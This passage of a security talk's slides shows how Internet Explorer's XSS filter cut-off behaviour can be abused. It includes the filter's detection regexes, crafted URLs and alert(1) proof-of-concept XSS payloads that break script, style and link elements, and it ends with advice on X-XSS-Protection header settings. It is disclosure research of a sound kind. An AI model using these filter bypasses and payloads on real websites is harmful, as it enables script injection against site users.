  53. 53. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  54. 54. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Oh?!
  55. 55. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ? Matching on URL side
  56. 56. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style
  57. 57. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++ Here is 31bytes 6 of + in the URL
  58. 58. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++ (Except =) 9 bytes, 2 of +
  59. 59. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++=
  60. 60. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= Matched!
  61. 61. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= ?!
  62. 62. </st#le> What will happen?
  63. 63. <style> body{background:gold} </style> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= Original area of style element
  64. 64. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= The area of style element after cut-off.
  65. 65. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}& /style++++++=++= Like this…
  66. 66. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}& /style++++++=++=
  67. 67. Nightmare: 2
  68. 68. javascript:Cut-off regex of link {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|( 41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&( ([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[ ].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73) );?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))) )*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|( 52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab; )|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(& (([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[ ].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10 )|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7 4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;) )))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
  69. 69. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
  70. 70. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes j,
  71. 71. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes tab or newline character more than 0 characters,
  72. 72. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes a,
  73. 73. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes tab or newline character more than 0 characters…
  74. 74. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Those continue until the colon of "javascript:".
  75. 75. (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). After the colon, arbitrary one character. Make it easy to see
  76. 76. Cheat the filter again <script type="text/javascript">a=1</script> <script> var q="[USER_INPUT]"; </script> We assume that the designated string from the user is stocked.(※ For simplicity, we consider It's already outputting the string except URL parameter.)
  77. 77. Cheat the filter again <script type="text/javascript">a=1</script> <script> var q="</script>""; </script> XSS measure is also appropriate!
  78. 78. Cheat the filter again <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> We assume that the attacker chose this string.
  79. 79. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: Then, we assume that the attacker leads the user to this URL.
  80. 80. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  81. 81. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 24bytes 4 of [0x0A] in URL
  82. 82. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  83. 83. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 10bytes 2 of [0x0A] in URL
  84. 84. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  85. 85. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: Matched!
  86. 86. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: ?!
  87. 87. <sc#ipt> What will happen?
  88. 88. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: This is not inside script tag!
  89. 89. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  90. 90. Nightmare: 3
  91. 91. <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= The character which passes through literal and assignment of property access Example of correct filter (string literal)
  92. 92. <body> <script> var q="";abc#def="; </script> </body> URL: ?q=";abc.def= Example of correct filter (string literal) The filter replaces "." for cut-off.
  93. 93. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= Filter's regex of string literal
  94. 94. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= Matched!
  95. 95. Cheat the filter one more <script src="//example.co.jp/test.js" type="text/javascript"> </script> We assume that code of only loading external script is here.
  96. 96. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?
  97. 97. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"
  98. 98. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"
  99. 99. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/
  100. 100. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++ 11bytes 2 of +
  101. 101. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.
  102. 102. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++ 16bytes 3 of +
  103. 103. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= Matched!
  104. 104. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co#jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= ?!
  105. 105. <script src="//example.co#jp/test.js" type="text/javascript"> </script> What will happen?
  106. 106. <script src="//example.co#jp/test.js" type="text/javascript"> </script> This is not loading from example.co.jp, loading from example.co!
  107. 107. <script src="//example.co#jp/test.js" type="text/javascript"> </script>
  108. 108. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT] The page of loading CSS and outputting user's input.
  109. 109. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= Matched!
  110. 110. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= ?!
  111. 111. <link rel="stylesheet" href="#./1.css"> What will happen?
  112. 112. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= This is loading this as CSS.
  113. 113. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++= Like this…
  114. 114. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++=
  115. 115. Nightmare: 4
  116. 116. Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s: If simple XSS is here, It should write (but write &bx28;.
  117. 117. <p style=v:expression&bx28;alert&bx28;1))>s: Something is here! URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s: Bypass 1: expression()
  118. 118. Rignt, vbs: and vbscript: are cut-off targets. (v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([# ()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b| (&[#()[].]x?0*((66)|(42)|(98)|(62));?))([t]|(&(([#()[ ].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[# ()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[]. ]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#() [].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x? 0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[] .]x?0*((82)|(52)|(114)|(72));?))([t]|(&(([#()[].]x?0*( 9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x ?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|( 13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0* ((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13) |(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((8 4)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(1 0)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*(( 58)|(3A));?)|(colon;)))).
  119. 119. <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: I adjusted URL for reaction of vbs:. Before cut-off Bypass 1: expression()
  120. 120. <p style=v:expression(alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: It created the left parenthesis.(() After cut-off Bypass 1: expression()
  121. 121. <p style=v:expression(alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: One More! Before cut-off Bypass 1: expression()
  122. 122. <p style=v:expression(alert(1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: Then… After cut-off Bypass 1: expression()
  123. 123. <p style=v:expression(alert(1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: Bypass 1: expression()
  124. 124. Bypass 2: <a folder> https://html5sec.org/#36 <a folder="javascript:alert(1)" style="behavior:url(#default#Anch orClick)">Click</a> In the following, it can create the link for javascript:. (Document mode of IE8- is necessary.) Thanks, Mario!:)
  125. 125. URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="jav&bx41;script:alert(1)" style="behavior:url&bx28;#default#AnchorClic k)"s:>Click Before cut-off Bypass 2: <a folder>
  126. 126. URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="javAscript:alert(1)" style="behavior:url(#default#AnchorClic k)"s:>Click When the link which the filter created is clicked.. After cut-off Bypass 2: <a folder>
  127. 127. URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="javAscript:alert(1)" style="behavior:url(#default#AnchorClic k)"s:>Click After cut-off Bypass 2: <a folder>
  128. 128. http://l0.cm/xxn/ The test page of all methods. It includes methods which I didn't introduce.
  129. 129. Overcome the Nightmare
  130. 130. X-XSS-Protection Value Effect 0 Disable 1 Enable (Partial rewrite) 1;mode=block Enable (Prevent rendering of the page) Default It can control function of XSS protection.
  131. 131. Default is partial rewrite It rewrites only problem part. It seems to be good for developers. That, ➡ How should site administrator do? It produce possibility of attack which I introduced.
  132. 132. How are careful persons doing?
  133. 133. HTTP/2.0 200 OK Date: Mon, 19 Oct 2015 22:32:06 GMT Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ...
  134. 134. HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html Date: Mon, 19 Oct 2015 22:40:37 GMT x-content-type-options: nosniff X-Frame-Options: DENY X-XSS-Protection: 0 ...
  135. 135. The choice which considered more safety Value Sites which should choose header 0 They are measuring basic XSS. /They want to remove false-negative. 1 Not recommended (Discovered technique affects here.) 1;mode =block It is probable that the site have XSS. /They want to protect site just in case. Default X-XSS-Protection:0 or 1;mode=block
  136. 136. Is mode=block safe? It should don't affect direct script execution. I think a favor of the filter is bigger than it. If feature of cut-off can detect from outside, they may guess page contents. This possibility probably can't be changes to zero. On the other hand…
  137. 137. Do you want to use no X-XSS-Protection? Then, you should do as follows: If you can do those, From the first, you don't create normal XSS! ✔ you should completely grasp XSS filter's cut- off action. ✔ If the part of the page is rewritten, you should inspect all page for normal operation and safety. ✔ If the page includes dangerous part, you should rewrite the code one by one for avoidance.
  138. 138. In fact In some case, it is possible to not operate specific function from intentional false positive. (…) Did the author of XSS filter introduce XSS filter while recognizing about the risks? (or not) I’m interested a little about it. Mr. Terada's blog http://d.hatena.ne.jp/teracc/2 0090622 Browser side introduced it, knowing the risk. Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:
  139. 139. In fact http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke Insider said "The answer is Yes. ". Mr. Hasegawa Browser side introduced it, knowing the risk. Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows: ➡ When you become careful, you should add the header. This is an old story!
  140. 140. Conclusions I'm hoping for improvement of XSS filter. It should still be possible to do safely. Is present default action really OK? In theory, cut-off risk is inseparable from XSS filter. I want web developer to know this possibility. I highly recommend XSS protection control except default action.
  141. 141. ";alert#"Thanks!"#// @kinugawamasato masatokinugawa@gmail#com http://l0.cm/xxn/DEMO

×